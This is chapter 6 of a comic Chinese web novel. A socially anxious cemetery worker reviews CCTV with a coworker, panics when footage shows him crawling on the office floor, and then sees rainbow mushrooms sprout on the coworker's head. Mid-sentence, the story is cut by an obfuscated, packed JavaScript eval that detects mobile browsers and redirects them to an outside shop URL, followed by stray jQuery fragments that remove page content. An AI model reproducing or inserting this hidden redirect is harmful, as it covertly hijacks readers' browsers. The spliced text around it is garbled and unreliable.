(6)
安浔在麟溪墓园工作两年了。
除了偷藏贡果的大娘、专拿糖果的熊孩子、给自己吃成猪咪的流浪猫之外,园内还从没发生过性质如此恶劣的偷窃事件!
这么多贵重东西在墓园丢了,说什么也得查监控。
否则,责任很可能会被推卸到他的身上。
如果再被扣上什么清理东西时私藏贡品的帽子,怕是连工作都保不住。
所以这事必须得查。
他只是社恐,又不是怨种。
安浔回了办公室,先把事情和程蔼讲了一遍。
对方听完后朝他招招手,示意他过去。
“你先别急,小安。”
办公室里的其他人已经不见了。黄毛估计去巡逻了,另一个是阮姐,墓园的维修工,可能在进行日常的设备检修。
“我们现在就调监控,先从昨天的开始看起,没问题吧?”
程蔼坐在显示器前,点进一个文件夹,里面保留着近七日的监控视频。
安浔没意见,站在程蔼身后,保持了一个能让自己舒适的社交距离,轻轻点头:“嗯。”
“行,那咱们先点开一个看看。”
程蔼操控着鼠标,在众多文件中翻出了5月30日的第一个视频。
视频被打开,画面中是一间空旷的办公室。
一名黑发青年正在手忙脚乱地送客户离开,点头哈腰的角度恨不得将自己整个折叠,柔韧性非常好。
安浔眼皮一跳,突然想起了什么,弱弱道:
“等、等一下,这个好像不是……”
他抬手想去阻止,可惜来不及了。
只见监控里的青年半死不活地坐回办公椅,原地躺尸。
又过了几秒,青年毫无预兆地弹跳而起!随后面目狰狞,手脚并用着在地上爬来爬去……
爬爬爬爬爬。
尖叫!扭曲!蠕动!
爬爬爬爬爬爬爬。
最后连哑光砖都被擦成了抛光砖,锃亮一片。
安浔:“……”
程蔼:“……”
安浔:“………………”
一时之间,连空气都凝固了。
安浔默默闭上眼睛。
人生。
他的人生结束了。
没有一丝犹豫。
安浔拔腿就跑,朝着旁边半开的窗户迅速奔去!
程蔼目瞪口呆:“!?”
但他很快就反应了过来:“小安!!你、你你你等一下!!!”
然而安浔已经半条腿越过了窗户——电光火石之间,程蔼一个箭步窜了过去,一把扯住安浔的衣领!
安浔抓着窗框,拼命向外使劲。
“啊啊啊啊啊你放开我!!我现在就离开这个世界!!!”
混乱的僵持中,程蔼的额角爆开大片青筋,一边拽着他一边大声吼道:
“你听我说!这里是三楼,你就算跳了也不一定摔死!半身不遂的概率更大!!”
安浔:“……”
程蔼:“而且就算摔死了!这个视频也还在!!!”
安浔:“!!!”
靠,好有道理!!!
安迅思索了几秒,为了死后的清誉,还是把腿收了回去。
直至他的双脚平稳地落回地面,程蔼才松了口气。
但他仍旧紧攥着安浔的衣领不放,额角甚至冒出了细密的汗珠,呼吸带着颤抖。仔细一看,连瞳孔都是收缩的,看样子真的吓坏了。
安浔很快就冷静了下来,但心情有点复杂。
他没想到程蔼是真心想救他,闹了这么一通,不由得愧疚起来。
“……那、那个,谢谢你。程哥。”
程蔼总算松开手,指尖不经意间蹭过安浔的手臂。
“没事。”程蔼捏了把冷汗,“下次别这样了……挺吓人的。”
嘟。
一簇鲜艳的彩虹色蘑菇从程蔼的头顶冒了出来。
安浔:“?”
程蔼又语气郑重地发誓道:“你放心吧,小安。我不会和任何人说这件事的……”
嘟。
又冒出来一片蘑菇。
安浔:“???”
嘟嘟嘟……
蘑菇越来越多了,在程蔼的头顶密密麻麻地生长,像分裂繁殖的细胞,鼓鼓囊囊地堆积在一起,看得人汗毛直立。
“等一下,你先不要说话……”
安浔揉了揉眼睛,发现那片蘑菇还在嘟嘟嘟地往外冒。他没忍住,直接伸手揪下一把。
彩虹色的蘑菇。
头一次见到这样的。
摸起来湿湿润润的,还很松软,有一股清新好闻的菌子香……
安浔抬起头。
发现程蔼的头顶秃了一块。
安浔:“……?”
又低头瞅了瞅手里的蘑菇。
所以这玩意为什么会出现在人的头上!???
安浔不解,手下意识地捏了捏蘑菇。
程蔼瞪大眼睛,抬手制止:“别!这个不能捏!!”
晚了。
只见被捏扁的蘑菇慢慢回弹,雨伞状的菌盖再度展开。不像开了,倒像是招了。
细碎的粉末从菌盖下缓缓飘出,也是七彩色的,在阳光下闪闪发亮。
粉末飞散,渐渐弥漫向安浔的鼻尖,一阵倦意接踵而至——
别说。
这小玩意,还挺好看的……
这是安浔闭上眼睛前,脑中闪过的最后一个想法。
……
……
再睁开眼时,安浔发现自己躺在办公椅上,身上还盖了一层小薄毯。
“你醒了?”身边又很适时地递来一杯水。
安浔嗓子很干,这次没拒绝,直接接过咕咚咕咚喝了起来。
喝完之后才注意到,程蔼正坐在对面笑眯眯地盯着他看。
莫名的有点瘆人。
安浔转移视线,皱着眉回忆前面发生的事。
但越想越觉得不对劲,心中的疑问脱口而出:“……蘑菇呢?”
“蘑菇?”程蔼重复了一遍,有点困惑:“什么蘑菇?”
“就,你头上那个……”
安浔的视线飘向程蔼的头顶。
一头完全不符合社畜定律的茂密乌发,被梳理成有点商务的三七侧分。感觉营养很好,平时一定经常做保养。
至于那块被扯秃的地方?
当然不存在。
安浔尴尬地挠挠头:“没事了。好、好像是我记错了……”
也是啊。
人的头上怎么会长蘑菇呢?免疫力得多差啊……
可能是他从窗边被拉回来时刚脱离生死一线,而且还神经紧绷,所以看错了?
今天这一天,过得也太魔幻了。
先是遇见大胖鸽子叫嚣着要扣他工资、又发现新来的大馋小子在生吞青蛙、而虾头前辈不仅会长蘑菇,还看见了他在办公室满地乱爬的高清视频……
安浔的表情一僵。
像是看出了安浔在想什么,程蔼温和地笑了笑:“没事的小安,你别怕。那份监控我全删了,没留备份。”
安浔松了口气,情绪总算平稳了点。
“对了,那墓地里的那些贡品呢?”这是安浔最关心的事。
程蔼如实回答:“你睡着的时候我帮你查过了。没有遇上小偷,工作人员也没动过。”
“就是说,家属送过去的时候就是那样吗……?”安浔有点疑惑。
确实有些家属来祭奠时,只是摆些东西做做样子,还有一些祭奠结束后就把东西都带走了。
但那个十六岁的小孩,他的父母每次都会被把贡品留在墓碑前,从没出现过今天这种情况。
算了不想了。
总不能是小孩半夜自己从坟里爬出来,把Switch掏出去玩了吧哈哈。
安浔还是很唯物的,不然也不会来墓园上班。
“那鸽子会说话,应该也是我……听错了?”
安浔自言
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569250|187026||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自语着,试图找个合理的解释:“难道是我迟到时太焦虑了,所以大脑自动想象出来的……?”
“嗯?”
程蔼一听,跟着接了话茬:“你遇到食堂后院的那只鸽子了吗?什么时候?”
“就……今早。我上台阶时突然窜出来的,还说话了,吓我一跳。”
安浔拧着眉头,仔细回忆着:“我打个喷嚏的功夫就消失了……还以为是看错了。”
程蔼沉默了几秒。
随后,他再度微笑起来,平静地说:“那个鸽子,确实会说话。”
安浔点点头。
然后一愣。
啊???
程蔼:“你想啊。这个世界上,是不是有很多高智商的小鸟会说话?”
安浔:“可、可是那都是鹦鹉啊。”
“是啊,但那只鸽子比较特殊,是白凤头鹦鹉和白鸽的杂交品种。而且白鸽古时还承担了传达信件的职责,也是一种智商极高的鸟类。两种高智商生下来的孩子,当然会说人类语言了。”
安浔已经有点信了。
“……我高中虽然没选生物,但你别蒙我。鹦鹉和鸽子之间难道没有生殖隔离吗?”
程蔼摇摇头,态度坦然:
“我没骗你,不信你可以上网查查,虽然概率很低但确实有这种稀少的杂交案例。只是你不常和食堂前的那只小鸽子互动,所以不知道它会说话罢了。”
安浔:“……”
居然还挺合理。
于是很快接受了这个设定。
但转念一想还是很气愤——小小鸽子学谁说话不好,开口就一股老登味!和那个死鬼老板一模一样!
“对了,小安。”
程蔼的指尖轻敲着办公桌,话锋一转:“你看你刚才都晕倒了,要不今天先回去休息吧?”
安浔抬头一扫钟表,忙忙碌碌一上午,居然还不到十一点。
“这……不太好吧?”
程蔼摆摆手,继续道:“没事啊,今天园区来上班的人多,忙得过来。我帮你盯着点,老板要是来突击检查了,我再说你身体不舒服请假了。”
奇怪。
难不成程蔼真转性了?
照顾人跟个男妈妈似的,说话都温声细语的,好体贴。
安浔犹豫了一会,但还是答应了。
毕竟,他是真的不太舒服。
从睁眼到现在,总感觉浑身无力,像被揍了一顿似的。
而且……只要和程蔼待在一块,他的大脑就会自动播放刚才发生的事。
社死循环!
啊啊啊啊啊啊啊!!
快忘掉快忘掉(痛苦)!!!!
……
……
————
上午十一点
临时作战指挥中心
在被告知突破行动依旧毫无进展时,陈羿川终于一脸平和地坐回原位,默默吃起刚送来的盒饭。
算了。
延毕就延毕吧,大不了就世界毁灭嘛哈哈。
旁边的下属对他的情况有所了解,一眼就看穿了他的脆弱,安慰道:“陈队,你也别太焦虑,其实还是有机会的……”
陈羿川没回答,只是机械地咀嚼着嘴里的椒盐土豆。
这啥玩意。
一点味都没有。报吃。
就在这时,旁边的设备间再一次传来惊呼:“陈队!卧槽!!有了!又有了!!”
陈羿川连眼皮都没抬,平静回应:“什么有了?”
“上午进麟溪墓园的男人!现在又有生命信号了!他从墓园活着出来了!!”
陈羿川眼睛一亮。
答辩!
他亲爱的答辩!!有希望了!!!
陈羿川冲进设备间,看见屏幕上那名又在公路上晃晃悠悠,浑身上下毫发无损的神秘骑车男后,顿时热泪盈眶。
“快!快派人拦住他!!!”
陈羿川激动地抹了把眼泪,又嚼了嚼嘴里的椒盐土豆。
呜呜,真香。